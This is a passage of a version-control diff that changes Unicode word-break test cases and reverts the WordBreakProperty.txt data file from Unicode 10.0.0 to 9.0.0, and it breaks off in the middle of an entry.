DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0031 ÷ 002C ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0031 ÷ 002C × 0308 ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0031 ÷ 002C ÷ 2764 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0031 ÷ 002C × 0308 ÷ 2764 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0031 ÷ 002C ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0031 ÷ 002C × 0308 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0031 ÷ 002C × 00AD ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1916,8 +1915,8 @@ ÷ 0031 ÷ 002E × 2060 × 0308 ÷ 261D ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 0031 ÷ 002E × 2060 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 0031 ÷ 002E × 2060 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 0031 ÷ 002E × 2060 ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] -÷ 0031 ÷ 002E × 2060 × 0308 ÷ 2640 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 0031 ÷ 002E × 2060 ÷ 2764 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] +÷ 0031 ÷ 002E × 2060 × 0308 ÷ 2764 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 0031 ÷ 002E × 2060 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0031 ÷ 002E × 2060 × 0308 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0031 ÷ 002E × 2060 × 00AD ÷ # ÷ [0.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3] @@ -1967,7 +1966,7 @@ ÷ 261D × 1F3FB ÷ 261D ÷ # ÷ [0.2] WHITE UP POINTING INDEX (E_Base) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3] ÷ 1F466 × 1F3FB ÷ # ÷ [0.2] BOY (EBG) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] ÷ 200D × 1F466 × 1F3FB ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] BOY (EBG) × [14.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3] -÷ 200D × 2640 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3] +÷ 200D × 2764 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] HEAVY BLACK HEART (Glue_After_Zwj) ÷ [0.3] ÷ 200D × 1F466 ÷ # ÷ [0.2] ZERO WIDTH JOINER (ZWJ_FE) × [3.3] BOY (EBG) ÷ [0.3] ÷ 1F466 ÷ 1F466 ÷ # ÷ [0.2] BOY (EBG) ÷ [999.0] BOY (EBG) ÷ [0.3] ÷ 0061 × 0308 × 200D × 0308 × 0062 ÷ # ÷ [0.2] LATIN SMALL LETTER A (ALetter) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) × [4.0] COMBINING DIAERESIS (Extend_FE) × [5.0] LATIN SMALL LETTER B (ALetter) ÷ [0.3] diff --git a/lib/unicore/auxiliary/WordBreakProperty.txt b/lib/unicore/auxiliary/WordBreakProperty.txt index 4c5440a8941d..6ccba5465034 100644 --- a/lib/unicore/auxiliary/WordBreakProperty.txt +++ b/lib/unicore/auxiliary/WordBreakProperty.txt @@ -1,6 +1,6 @@ -# WordBreakProperty-10.0.0.txt -# Date: 2017-03-10, 02:00:42 GMT -# © 2017 Unicode®, Inc. +# WordBreakProperty-9.0.0.txt +# Date: 2016-06-01, 10:34:38 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -133,7 +133,6 @@ FB46..FB4F ; Hebrew_Letter # Lo [10] HEBREW LETTER TSADI WITH DAGESH..HEBREW 0ACB..0ACC ; Extend # Mc [2] GUJARATI VOWEL SIGN O..GUJARATI VOWEL SIGN AU 0ACD ; Extend # Mn GUJARATI SIGN VIRAMA 0AE2..0AE3 ; Extend # Mn [2] GUJARATI VOWEL SIGN VOCALIC L..GUJARATI VOWEL SIGN VOCALIC LL -0AFA..0AFF ; Extend # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01 ; Extend # Mn ORIYA SIGN CANDRABINDU 0B02..0B03 ; Extend # Mc [2] ORIYA SIGN ANUSVARA..ORIYA SIGN VISARGA 0B3C ; Extend # Mn ORIYA SIGN NUKTA @@ -175,9 +174,8 @@ FB46..FB4F ; Hebrew_Letter # Lo [10] HEBREW LETTER TSADI WITH DAGESH..HEBREW 0CCC..0CCD ; Extend # Mn [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA 0CD5..0CD6 ; Extend # Mc [2] KANNADA LENGTH MARK..KANNADA AI LENGTH MARK 0CE2..0CE3 ; Extend # Mn [2] KANNADA VOWEL SIGN VOCALIC L..KANNADA VOWEL SIGN VOCALIC LL -0D00..0D01 ; Extend # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU +0D01 ; Extend # Mn MALAYALAM SIGN CANDRABINDU 0D02..0D03 ; Extend # Mc [2] MALAYALAM SIGN ANUSVARA..MALAYALAM SIGN VISARGA -0D3B..0D3C ; Extend # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA 0D3E..0D40 ; Extend # Mc [3] MALAYALAM VOWEL SIGN AA..MALAYALAM VOWEL SIGN II 0D41..0D44 ; Extend # Mn [4] MALAYALAM VOWEL SIGN U..MALAYALAM VOWEL SIGN VOCALIC RR 0D46..0D48 ; Extend # Mc [3] MALAYALAM VOWEL SIGN E..MALAYALAM VOWEL SIGN AI @@ -312,9 +310,8 @@ FB46..FB4F ; Hebrew_Letter # Lo [10] HEBREW LETTER TSADI WITH DAGESH..HEBREW 1CED ; Extend # Mn VEDIC SIGN TIRYAK 1CF2..1CF3 ; Extend # Mc [2] VEDIC SIGN ARDHAVISARGA..VEDIC SIGN ROTATED ARDHAVISARGA 1CF4 ; Extend # Mn VEDIC TONE CANDRA ABOVE -1CF7 ; Extend # Mc VEDIC SIGN ATIKRAMA 1CF8..1CF9 ; Extend # Mn [2] VEDIC TONE RING ABOVE..VEDIC TONE DOUBLE RING ABOVE -1DC0..1DF9 ; Extend # Mn [58] COMBINING DOTTED GRAVE ACCENT..COMBINING WIDE INVERTED BRIDGE BELOW +1DC0..1DF5 ; Extend # Mn [54] COMBINING DOTTED GRAVE ACCENT..COMBINING UP TACK ABOVE 1DFB..1DFF ; Extend # Mn [5] COMBINING DELETION MARK..COMBINING RIGHT ARROWHEAD AND DOWN ARROWHEAD BELOW 200C ; Extend # Cf ZERO WIDTH NON-JOINER 20D0..20DC ; Extend # Mn [13] COMBINING LEFT HARPOON ABOVE..COMBINING FOUR DOTS ABOVE @@ -478,19 +475,6 @@ FF9E..FF9F ; Extend # Lm [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDT 11722..11725 ; Extend # Mn [4] AHOM VOWEL SIGN I..AHOM VOWEL SIGN UU 11726 ; Extend # Mc AHOM VOWEL SIGN E 11727..1172B ; Extend # Mn [5] AHOM VOWEL SIGN AW..AHOM SIGN KILLER -11A01..11A06 ; Extend # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O -11A07..11A08 ; Extend # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU -11A09..11A0A ; Extend # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK -11A33..11A38 ; Extend # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA -11A39 ; Extend # Mc ZANABAZAR SQUARE SIGN VISARGA -11A3B..11A3E ; Extend # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A47 ; Extend # Mn ZANABAZAR SQUARE SUBJOINER -11A51..11A56 ; Extend # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE -11A57..11A58 ; Extend # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A59..11A5B ; Extend # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A8A..11A96 ; Extend # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA -11A97 ; Extend # Mc SOYOMBO SIGN VISARGA -11A98..11A99 ; Extend # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER 11C2F ; Extend # Mc BHAIKSUKI VOWEL SIGN AA 11C30..11C36 ; Extend # Mn [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L 11C38..11C3D ; Extend # Mn [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA @@ -503,11 +487,6 @@ FF9E..FF9F ; Extend # Lm [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDT 11CB2..11CB3 ; Extend # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E 11CB4 ; Extend # Mc MARCHEN VOWEL SIGN O 11CB5..11CB6 ; Extend # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D31..11D36 ; Extend # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R -11D3A ; Extend # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; Extend # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D45 ; Extend # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA -11D47 ; Extend # Mn MASARAM GONDI RA-KARA 16AF0..16AF4 ; Extend # Mn [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE 16B30..16B36 ; Extend # Mn [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM 16F51..16F7E ; Extend # Mc [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG @@ -536,7 +515,7 @@ FF9E..FF9F ; Extend # Lm [2] HALFWIDTH KATAKANA VOICED SOUND MARK..HALFWIDT E0020..E007F ; Extend # Cf [96] TAG SPACE..CANCEL TAG E0100..E01EF ; Extend # Mn [240] VARIATION SELECTOR-17..VARIATION SELECTOR-256 -# Total code points: 2276 +# Total code points: 2196 # ================================================ @@ -601,15 +580,10 @@ FF71..FF9D ; Katakana # Lo [45] HALFWIDTH KATAKANA LETTER A..HALFWIDTH KATAK 0294 ; ALetter # Lo LATIN LETTER GLOTTAL STOP 0295..02AF ; ALetter # L& [27] LATIN LETTER PHARYNGEAL VOICED FRICATIVE..LATIN SMALL LETTER TURNED H WITH FISHHOOK AND TAIL 02B0..02C1 ; ALetter # Lm [18] MODIFIER LETTER SMALL H..MODIFIER LETTER REVERSED GLOTTAL STOP -02C2..02C5 ; ALetter # Sk [4] MODIFIER LETTER LEFT ARROWHEAD..MODIFIER LETTER DOWN ARROWHEAD 02C6..02D1 ; ALetter # Lm [12] MODIFIER LETTER CIRCUMFLEX ACCENT..MODIFIER LETTER HALF TRIANGULAR COLON -02D2..02D7 ; ALetter # Sk [6] MODIFIER LETTER CENTRED RIGHT HALF RING..MODIFIER LETTER MINUS SIGN -02DE..02DF ; ALetter # Sk [2] MODIFIER LETTER RHOTIC HOOK..MODIFIER LETTER CROSS ACCENT 02E0..02E4 ; ALetter # Lm [5] MODIFIER LETTER SMALL GAMMA..MODIFIER LETTER SMALL REVERSED GLOTTAL STOP 02EC ; ALetter # Lm MODIFIER LETTER VOICING -02ED ; ALetter # Sk MODIFIER LETTER UNASPIRATED 02EE ; ALetter # Lm MODIFIER LETTER DOUBLE APOSTROPHE -02EF..02FF ; ALetter # Sk [17] MODIFIER LETTER LOW DOWN ARROWHEAD..MODIFIER LETTER LOW LEFT ARROW 0370..0373 ; ALetter # L& [4] GREEK CAPITAL LETTER HETA..GREEK SMALL LETTER ARCHAIC SAMPI 0374 ; ALetter # Lm GREEK NUMERAL SIGN 0376..0377 ; ALetter # L& [2] GREEK CAPITAL LETTER PAMPHYLIAN DIGAMMA..GREEK SMALL LETTER PAMPHYLIAN DIGAMMA @@ -649,7 +623,6 @@ FF71..FF9D ; Katakana # Lo [45] HALFWIDTH KATAKANA LETTER A..HALFWIDTH KATAK 0824 ; ALetter # Lm SAMARITAN MODIFIER LETTER SHORT A 0828 ; ALetter # Lm SAMARITAN MODIFIER LETTER I 0840..0858 ; ALetter # Lo [25] MANDAIC LETTER HALQA..MANDAIC LETTER AIN -0860..086A ; ALetter # Lo [11] SYRIAC LETTER MALAYALAM NGA..SYRIAC LETTER MALAYALAM SSA 08A0..08B4 ; ALetter # Lo [21] ARABIC LETTER BEH WITH SMALL V BELOW..ARABIC LETTER KAF WITH DOT BELOW 08B6..08BD ; ALetter # Lo [8] ARABIC LETTER BEH WITH SMALL MEEM ABOVE..ARABIC LETTER AFRICAN NOON 0904..0939 ; ALetter # Lo [54] DEVANAGARI LETTER SHORT A..DEVANAGARI LETTER HA @@ -669,7 +642,6 @@ FF71..FF9D ; Katakana # Lo [45] HALFWIDTH KATAKANA LETTER A..HALFWIDTH KATAK 09DC..09DD ; ALetter # Lo [2] BENGALI LETTER RRA..BENGALI LETTER RHA 09DF..09E1 ; ALetter # Lo [3] BENGALI LETTER YYA..BENGALI LETTER VOCALIC LL 09F0..09F1 ; ALetter # Lo [2] BENGALI LETTER RA WITH MIDDLE DIAGONAL..BENGALI LETTER RA WITH LOWER DIAGONAL -09FC ; ALetter # Lo BENGALI LETTER VEDIC ANUSVARA 0A05..0A0A ; ALetter # Lo [6] GURMUKHI LETTER A..GURMUKHI LETTER UU 0A0F..0A10 ; ALetter # Lo [2] GURMUKHI LETTER EE..GURMUKHI LETTER AI 0A13..0A28 ; ALetter # Lo [22] GURMUKHI LETTER OO..GURMUKHI LETTER NA @@ -875,7 +847,7 @@ FF71..FF9D ; Katakana # Lo [45] HALFWIDTH KATAKANA LETTER A..HALFWIDTH KATAK 3005 ; ALetter # Lm IDEOGRAPHIC ITERATION MARK 303B ; ALetter # Lm VERTICAL IDEOGRAPHIC ITERATION MARK 303C ; ALetter # Lo MASU MARK -3105..312E ; ALetter # Lo [42] BOPOMOFO LETTER B..BOPOMOFO LETTER O WITH DOT ABOVE +3105..312D ; ALetter # Lo [41] BOPOMOFO LETTER B..BOPOMOFO LETTER IH 3131..318E ; ALetter # Lo [94] HANGUL LETTER KIYEOK..HANGUL LETTER ARAEAE 31A0..31BA ; ALetter # Lo [27] BOPOMOFO LETTER BU..BOPOMOFO LETTER ZY A000..A014 ; ALetter # Lo [21] YI SYLLABLE IT..YI SYLLABLE E @@ -895,12 +867,10 @@ A69C..A69D ; ALetter # Lm [2] MODIFIER LETTER CYRILLIC HARD SIGN..MODIFIER A6A0..A6E5 ; ALetter # Lo [70] BAMUM LETTER A..BAMUM LETTER KI A6E6..A6EF ; ALetter # Nl [10] BAMUM LETTER MO..BAMUM LETTER KOGHOM A717..A71F ; ALetter # Lm [9] MODIFIER LETTER DOT VERTICAL BAR..MODIFIER LETTER LOW INVERTED EXCLAMATION MARK -A720..A721 ; ALetter # Sk [2] MODIFIER LETTER STRESS AND HIGH TONE..MODIFIER LETTER STRESS AND LOW TONE A722..A76F ; ALetter # L& [78] LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF..LATIN SMALL LETTER CON A770 ; ALetter # Lm MODIFIER LETTER US A771..A787 ; ALetter # L& [23] LATIN SMALL LETTER DUM..LATIN SMALL LETTER INSULAR T A788 ; ALetter # Lm MODIFIER LETTER LOW CIRCUMFLEX ACCENT -A789..A78A ; ALetter # Sk [2] MODIFIER LETTER COLON..MODIFIER LETTER SHORT EQUALS SIGN A78B..A78E ; ALetter # L& [4] LATIN CAPITAL LETTER SALTILLO..LATIN SMALL LETTER L WITH RETROFLEX HOOK AND BELT A78F ; ALetter # Lo LATIN LETTER SINOLOGICAL DOT A790..A7AE ; ALetter # L& [31] LATIN CAPITAL LETTER N WITH DESCENDER..LATIN CAPITAL LETTER SMALL CAPITAL I @@ -934,7 +904,6 @@ AB11..AB16 ; ALetter # Lo [6] ETHIOPIC SYLLABLE DZU..ETHIOPIC SYLLABLE DZO AB20..AB26 ; ALetter # Lo [7] ETHIOPIC SYLLABLE CCHHA..ETHIOPIC SYLLABLE CCHHO AB28..AB2E ; ALetter # Lo [7] ETHIOPIC SYLLABLE BBA..ETHIOPIC SYLLABLE BBO AB30..AB5A ; ALetter # L& [43] LATIN SMALL LETTER BARRED ALPHA..LATIN SMALL LETTER Y WITH SHORT RIGHT LEG -AB5B ; ALetter # Sk MODIFIER BREVE WITH INVERTED BREVE AB5C..AB5F ; ALetter # Lm [4] MODIFIER LETTER SMALL HENG..MODIFIER LETTER SMALL U WITH LEFT HOOK AB60..AB65 ; ALetter # L& [6] LATIN SMALL LETTER SAKHA YAT..GREEK LETTER SMALL CAPITAL OMEGA AB70..ABBF ; ALetter # L& [80] CHEROKEE SMALL LETTER A..CHEROKEE SMALL LETTER YA @@ -969,7 +938,7 @@ FFDA..FFDC ; ALetter # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 10280..1029C ; ALetter # Lo [29] LYCIAN LETTER A..LYCIAN LETTER X 102A0..102D0 ; ALetter # Lo [49] CARIAN LETTER A..CARIAN LETTER UUU3 10300..1031F ; ALetter # Lo [32] OLD ITALIC LETTER A..OLD ITALIC LETTER ESS -1032D..10340 ; ALetter # Lo [20] OLD ITALIC LETTER YE..GOTHIC LETTER PAIRTHRA +10330..10340 ; ALetter # Lo [17] GOTHIC LETTER AHSA..GOTHIC LETTER PAIRTHRA 10341 ; ALetter # Nl GOTHIC LETTER NINETY 10342..10349 ; ALetter # Lo [8] GOTHIC LETTER RAIDA..GOTHIC LETTER OTHAL 1034A ; ALetter # Nl GOTHIC LETTER NINE HUNDRED @@ -1055,21 +1024,11 @@ FFDA..FFDC ; ALetter # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 11680..116AA ; ALetter # Lo [43] TAKRI LETTER A..TAKRI LETTER RRA 118A0..118DF ; ALetter # L& [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO 118FF ; ALetter # Lo WARANG CITI OM -11A00 ; ALetter # Lo ZANABAZAR SQUARE LETTER A -11A0B..11A32 ; ALetter # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA -11A3A ; ALetter # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA -11A50 ; ALetter # Lo SOYOMBO LETTER A -11A5C..11A83 ; ALetter # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA -11A86..11A89 ; ALetter # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA 11AC0..11AF8 ; ALetter # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL 11C00..11C08 ; ALetter # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L 11C0A..11C2E ; ALetter # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA 11C40 ; ALetter # Lo BHAIKSUKI SIGN AVAGRAHA 11C72..11C8F ; ALetter # Lo [30] MARCHEN LETTER KA..MARCHEN LETTER A -11D00..11D06 ; ALetter # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E -11D08..11D09 ; ALetter # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O -11D0B..11D30 ; ALetter # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA -11D46 ; ALetter # Lo MASARAM GONDI REPHA 12000..12399 ; ALetter # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U 12400..1246E ; ALetter # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM 12480..12543 ; ALetter # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU @@ -1085,7 +1044,7 @@ FFDA..FFDC ; ALetter # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 16F00..16F44 ; ALetter # Lo [69] MIAO LETTER PA..MIAO LETTER HHA 16F50 ; ALetter # Lo MIAO LETTER NASALIZATION 16F93..16F9F ; ALetter # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8 -16FE0..16FE1 ; ALetter # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK +16FE0 ; ALetter # Lm TANGUT ITERATION MARK 1BC00..1BC6A ; ALetter # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M 1BC70..1BC7C ; ALetter # Lo [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK 1BC80..1BC88 ; ALetter # Lo [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL @@ -1159,12 +1118,13 @@ FFDA..FFDC ; ALetter # Lo [3] HALFWIDTH HANGUL LETTER EU..HALFWIDTH HANGUL 1F150..1F169 ; ALetter # So [26] NEGATIVE CIRCLED LATIN CAPITAL LETTER A..NEGATIVE CIRCLED LATIN CAPITAL LETTER Z 1F170..1F189 ; ALetter # So [26] NEGATIVE SQUARED LATIN CAPITAL LETTER A..NEGATIVE SQUARED LATIN CAPITAL LETTER Z -# Total code points: 28179 +# Total code points: 27992 # ================================================ 003A ; MidLetter # Po COLON 00B7 ; MidLetter # Po MIDDLE DOT +02D7 ; MidLetter # Sk MODIFIER LETTER MINUS SIGN 0387 ; MidLetter # Po GREEK ANO TELEIA 05F4 ; MidLetter # Po HEBREW PUNCTUATION GERSHAYIM 2027 ; MidLetter # Po HYPHENATION POINT @@ -1172,7 +1132,7 @@ FE13 ; MidLetter # Po PRESENTATION FORM FOR VERTICAL COLON FE55 ; MidLetter # Po SMALL COLON FF1A ; MidLetter # Po FULLWIDTH COLON -# Total code points: 8 +# Total code points: 9 # ================================================ @@ -1257,13 +1217,12 @@ ABF0..ABF9 ; Numeric # Nd [10] MEETEI MAYEK DIGIT ZERO..MEETEI MAYEK DIGIT N 11730..11739 ; Numeric # Nd [10] AHOM DIGIT ZERO..AHOM DIGIT NINE 118E0..118E9 ; Numeric # Nd [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE 11C50..11C59 ; Numeric # Nd [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE -11D50..11D59 ; Numeric # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE 16A60..16A69 ; Numeric # Nd [10] MRO DIGIT ZERO..MRO DIGIT NINE 16B50..16B59 ; Numeric # Nd [10] PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE 1D7CE..1D7FF ; Numeric # Nd [50] MATHEMATICAL BOLD DIGIT ZERO..MATHEMATICAL MONOSPACE DIGIT NINE 1E950..1E959 ; Numeric # Nd [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE -# Total code points: 581 +# Total code points: 571 # ================================================ @@ -1283,9 +1242,8 @@ FF3F ; ExtendNumLet # Pc FULLWIDTH LOW LINE 26F9 ; E_Base # So PERSON WITH BALL 270A..270D ; E_Base # So [4] RAISED FIST..WRITING HAND 1F385 ; E_Base # So FATHER CHRISTMAS -1F3C2..1F3C4 ; E_Base # So [3] SNOWBOARDER..SURFER -1F3C7 ; E_Base # So HORSE RACING -1F3CA..1F3CC ; E_Base # So [3] SWIMMER..GOLFER +1F3C3..1F3C4 ; E_Base # So [2] RUNNER..SURFER +1F3CA..1F3CB ; E_Base # So [2] SWIMMER..WEIGHT LIFTER 1F442..1F443 ; E_Base # So [2] EAR..NOSE 1F446..1F450 ; E_Base # So [11] WHITE UP POINTING BACKHAND INDEX..OPEN HANDS SIGN 1F46E ; E_Base # So POLICE OFFICER @@ -1294,7 +1252,7 @@ FF3F ; ExtendNumLet # Pc FULLWIDTH LOW LINE 1F481..1F483 ; E_Base # So [3] INFORMATION DESK PERSON..DANCER 1F485..1F487 ; E_Base # So [3] NAIL POLISH..HAIRCUT 1F4AA ; E_Base # So FLEXED BICEPS -1F574..1F575 ; E_Base # So [2] MAN IN BUSINESS SUIT LEVITATING..SLEUTH OR SPY +1F575 ; E_Base # So SLEUTH OR SPY 1F57A ; E_Base # So MAN DANCING 1F590 ; E_Base # So RAISED HAND WITH FINGERS SPLAYED 1F595..1F596 ; E_Base # So [2] REVERSED HAND WITH MIDDLE FINGER EXTENDED..RAISED HAND WITH PART BETWEEN MIDDLE AND RING FINGERS @@ -1303,15 +1261,13 @@ FF3F ; ExtendNumLet # Pc FULLWIDTH LOW LINE 1F6A3 ; E_Base # So ROWBOAT 1F6B4..1F6B6 ; E_Base # So [3] BICYCLIST..PEDESTRIAN 1F6C0 ; E_Base # So BATH -1F6CC ; E_Base # So SLEEPING ACCOMMODATION -1F918..1F91C ; E_Base # So [5] SIGN OF THE HORNS..RIGHT-FACING FIST -1F91E..1F91F ; E_Base # So [2] HAND WITH INDEX AND MIDDLE FINGERS CROSSED..I LOVE YOU HAND SIGN +1F918..1F91E ; E_Base # So [7] SIGN OF THE HORNS..HAND WITH INDEX AND MIDDLE FINGERS CROSSED 1F926 ; E_Base # So FACE PALM -1F930..1F939 ; E_Base # So [10] PREGNANT WOMAN..JUGGLING -1F93D..1F93E ; E_Base # So [2] WATER POLO..HANDBALL -1F9D1..1F9DD ; E_Base # So [13] ADULT..ELF +1F930 ; 